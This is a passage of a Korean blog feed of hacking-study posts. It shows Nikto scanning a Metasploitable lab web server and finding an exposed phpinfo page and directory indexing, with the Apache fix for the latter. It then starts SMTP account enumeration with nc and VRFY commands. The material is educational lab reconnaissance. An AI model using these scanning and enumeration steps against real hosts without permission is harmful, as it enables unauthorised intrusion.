this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;nikto는 -Help옵션을 입력해서 사용법을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;왜냐하면 nikto에서 -h의 옵션은 호스트를 지정할 때 사용하기 때문이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;685&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rV325/btqHxczpiQo/cW5qlAb56oZEu6HzHhnD70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rV325/btqHxczpiQo/cW5qlAb56oZEu6HzHhnD70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rV325/btqHxczpiQo/cW5qlAb56oZEu6HzHhnD70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrV325%2FbtqHxczpiQo%2FcW5qlAb56oZEu6HzHhnD70%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;685&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;메타스플로잇터블에 80번 포트가 열여 있으므로 그것을 대상으로 nikto를 실행해보았다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;Inked2_LI.jpg&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cD3G6F/btqHxbHgdPz/iLBU1io59PuBp6hhbrK6U1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cD3G6F/btqHxbHgdPz/iLBU1io59PuBp6hhbrK6U1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cD3G6F/btqHxbHgdPz/iLBU1io59PuBp6hhbrK6U1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcD3G6F%2FbtqHxbHgdPz%2FiLBU1io59PuBp6hhbrK6U1%2Fimg.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;Inked2_LI.jpg&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;일단 서버가 무엇인지 알 수 있고&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;Inked2_LI1.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUxwzT/btqHxczpyWT/py4MCkZ93J5sEe2JvVieWk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUxwzT/btqHxczpyWT/py4MCkZ93J5sEe2JvVieWk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUxwzT/btqHxczpyWT/py4MCkZ93J5sEe2JvVieWk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUxwzT%2FbtqHxczpyWT%2Fpy4MCkZ93J5sEe2JvVieWk%2Fimg.jpg&quot; data-filename=&quot;Inked2_LI1.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;PHP 버전 정보를 알아낼 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;Inked2_LI2.jpg&quot; width=&quot;690&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bceHHV/btqHBRVmC6r/XpIa44A8CpyKZnsk0apthK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bceHHV/btqHBRVmC6r/XpIa44A8CpyKZnsk0apthK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bceHHV/btqHBRVmC6r/XpIa44A8CpyKZnsk0apthK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbceHHV%2FbtqHBRVmC6r%2FXpIa44A8CpyKZnsk0apthK%2Fimg.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;Inked2_LI2.jpg&quot; width=&quot;690&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 X-Frame-Options 헤더와 XXS방어 헤더, X-content-Type-Options 헤더와 같은 것들이 설정되어 있지 않다고 출력이 되었다.&lt;/p&gt;
&lt;p&gt;이런 정보들을 이용해서 알려진 취약점으로 공격이 가능하기 때문에 공격의 단서가 될 수 있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;699&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PVMCz/btqHJp4O6cw/ja75LAC6hzkQTk8QGY5nQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PVMCz/btqHJp4O6cw/ja75LAC6hzkQTk8QGY5nQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PVMCz/btqHJp4O6cw/ja75LAC6hzkQTk8QGY5nQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPVMCz%2FbtqHJp4O6cw%2Fja75LAC6hzkQTk8QGY5nQk%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;699&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 조금 밑에 phpinfo라는 것이 있다.&lt;/p&gt;
&lt;p&gt;이것이 외부에 공개되어 있다면 아주 위험하다.&lt;/p&gt;
&lt;p&gt;왜냐하면 이것을 이용해서 많은 정보가 유출될 수 있기 때문이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;704&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZdIV8/btqHvLox5b3/ZZE1jkKcnEvx1PRKNkaKZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZdIV8/btqHvLox5b3/ZZE1jkKcnEvx1PRKNkaKZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZdIV8/btqHvLox5b3/ZZE1jkKcnEvx1PRKNkaKZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZdIV8%2FbtqHvLox5b3%2FZZE1jkKcnEvx1PRKNkaKZ0%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;704&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진처럼 메타스플로잇터블 ip를 입력하고 /하고 phpinfo.php를 입력해보았다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;711&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCqYOh/btqHAlCESu9/GeBQy0aJMNAKuWf7kOci40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCqYOh/btqHAlCESu9/GeBQy0aJMNAKuWf7kOci40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCqYOh/btqHAlCESu9/GeBQy0aJMNAKuWf7kOci40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCqYOh%2FbtqHAlCESu9%2FGeBQy0aJMNAKuWf7kOci40%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;711&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러자 다음과 같이 php버전 정보와 시스템 정보 같은 각종 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;그래서 보안적으로 phpinfo파일을 외부로 노출시키면 안 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;712&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baBhTd/btqHEepd4CT/1DKbRm8iqdrEJIckGgwc71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baBhTd/btqHEepd4CT/1DKbRm8iqdrEJIckGgwc71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baBhTd/btqHEepd4CT/1DKbRm8iqdrEJIckGgwc71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaBhTd%2FbtqHEepd4CT%2F1DKbRm8iqdrEJIckGgwc71%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;712&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 또 다른 내용을 확인하면 위와 같이 /doc/를 찾을 수 있다.&lt;/p&gt;
&lt;p&gt;그 부분에 Directory indexing을 찾았다고 적혀있는데 그것은 특정 디렉터리 안의 파일들이 외부로 노출되는 취약점이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z4Gii/btqHBxQrSbH/3sx5HcPK8GUnC91cp5NG80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z4Gii/btqHBxQrSbH/3sx5HcPK8GUnC91cp5NG80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z4Gii/btqHBxQrSbH/3sx5HcPK8GUnC91cp5NG80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz4Gii%2FbtqHBxQrSbH%2F3sx5HcPK8GUnC91cp5NG80%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;메타스플로잇터블 ip를 입력하고 /doc/를 입력해보았다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4bbob/btqHGVppOXl/WJFf9JPVfHKNImtva7KIT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4bbob/btqHGVppOXl/WJFf9JPVfHKNImtva7KIT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4bbob/btqHGVppOXl/WJFf9JPVfHKNImtva7KIT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4bbob%2FbtqHGVppOXl%2FWJFf9JPVfHKNImtva7KIT0%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러면 위의 사진과 같이 파일에 접근할 수 있게 된다.&lt;/p&gt;
&lt;p&gt;관리가 소홀한 사이트일 경우 중요한 문서나 기타 파일들이 원하지 않게 노출될 수 있다.&lt;/p&gt;
&lt;p&gt;아파치를 설치하면 기본적으로 이 &lt;span style=&quot;color: #333333;&quot;&gt;Directory indexing이 사용되도록 설정되어있기 때문에 꼭 필요한 경우가 아니라면 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아파치 설정 파일을 수정하여 &lt;span style=&quot;color: #333333;&quot;&gt;Directory indexing을 사용하지 않도록 해야 한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7yzrU/btqHJqimwWK/x3k5pI8DkQ51mwUeBp1ljk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7yzrU/btqHJqimwWK/x3k5pI8DkQ51mwUeBp1ljk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7yzrU/btqHJqimwWK/x3k5pI8DkQ51mwUeBp1ljk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7yzrU%2FbtqHJqimwWK%2Fx3k5pI8DkQ51mwUeBp1ljk%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;칼리리눅스에 설치되어있는 아파치 파일을 예로 위의 사진처럼 명령어를 입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YBIap/btqHLfnmuG9/RdLktHoQkJAsoNPOsTfjd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YBIap/btqHLfnmuG9/RdLktHoQkJAsoNPOsTfjd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YBIap/btqHLfnmuG9/RdLktHoQkJAsoNPOsTfjd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYBIap%2FbtqHLfnmuG9%2FRdLktHoQkJAsoNPOsTfjd0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;807&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 위의 사진처럼 나오는데&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;690&quot; data-filename=&quot;11.PNG&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Gcyww/btqHvKwpjec/I9OXiuQ30ZFKyxIBCPaRFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Gcyww/btqHvKwpjec/I9OXiuQ30ZFKyxIBCPaRFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Gcyww/btqHvKwpjec/I9OXiuQ30ZFKyxIBCPaRFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGcyww%2FbtqHvKwpjec%2FI9OXiuQ30ZFKyxIBCPaRFk%2Fimg.png&quot; data-origin-width=&quot;844&quot; data-origin-height=&quot;690&quot; data-filename=&quot;11.PNG&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;쭉 밑으로 내리면서 확인해보면 indexes가 있다.&lt;/p&gt;
&lt;p&gt;이것일 지우고 아파치를 재시작하면 &lt;span style=&quot;color: #333333;&quot;&gt;Directory indexing 문제를 해결할 수 있다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>Nikto</category>
      <category>액티브스캐닝</category>
      <category>웹서버스캔</category>
      <category>웹스캐닝</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/63</guid>
      <comments>https://geru.tistory.com/63#entry63comment</comments>
      <pubDate>Tue, 1 Sep 2020 12:00:11 +0900</pubDate>
    </item>
    <item>
      <title>[액티브스캐닝] SMTP 정보수집</title>
      <link>https://geru.tistory.com/62</link>
      <description>&lt;p&gt;오늘은 SMTP를 이용해서 정보수집을 해보자.&lt;/p&gt;
&lt;p&gt;나의 메타스플로잇터블은 SMTP포트가 열려있는 상태이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;650&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mtIxv/btqHAmg9Cgt/kHHkcfbzRMFZ6UUZkFjjh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mtIxv/btqHAmg9Cgt/kHHkcfbzRMFZ6UUZkFjjh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mtIxv/btqHAmg9Cgt/kHHkcfbzRMFZ6UUZkFjjh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmtIxv%2FbtqHAmg9Cgt%2FkHHkcfbzRMFZ6UUZkFjjh1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;650&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;nc를 이용해서 메타스플로잇터블에 접속하였다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;649&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/muMdF/btqHLfU4Pn5/nQl8AOhAopdQDN0RcUKY61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/muMdF/btqHLfU4Pn5/nQl8AOhAopdQDN0RcUKY61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/muMdF/btqHLfU4Pn5/nQl8AOhAopdQDN0RcUKY61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmuMdF%2FbtqHLfU4Pn5%2FnQl8AOhAopdQDN0RcUKY61%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;649&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;653&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yXaNh/btqHzEW2POC/NdnlYE6nXUiAu8O71FxePk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yXaNh/btqHzEW2POC/NdnlYE6nXUiAu8O71FxePk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yXaNh/btqHzEW2POC/NdnlYE6nXUiAu8O71FxePk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyXaNh%2FbtqHzEW2POC%2FNdnlYE6nXUiAu8O71FxePk%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;653&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;VRFY root, VRFY test라고 입력을 하니 위와 같은 결과가 나왔다.&lt;/p&gt;
&lt;p&gt;root와 test는 &lt;span style=&quot;color: #333333;&quot;&gt;메타스플로잇터블에 존재하는 계정이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
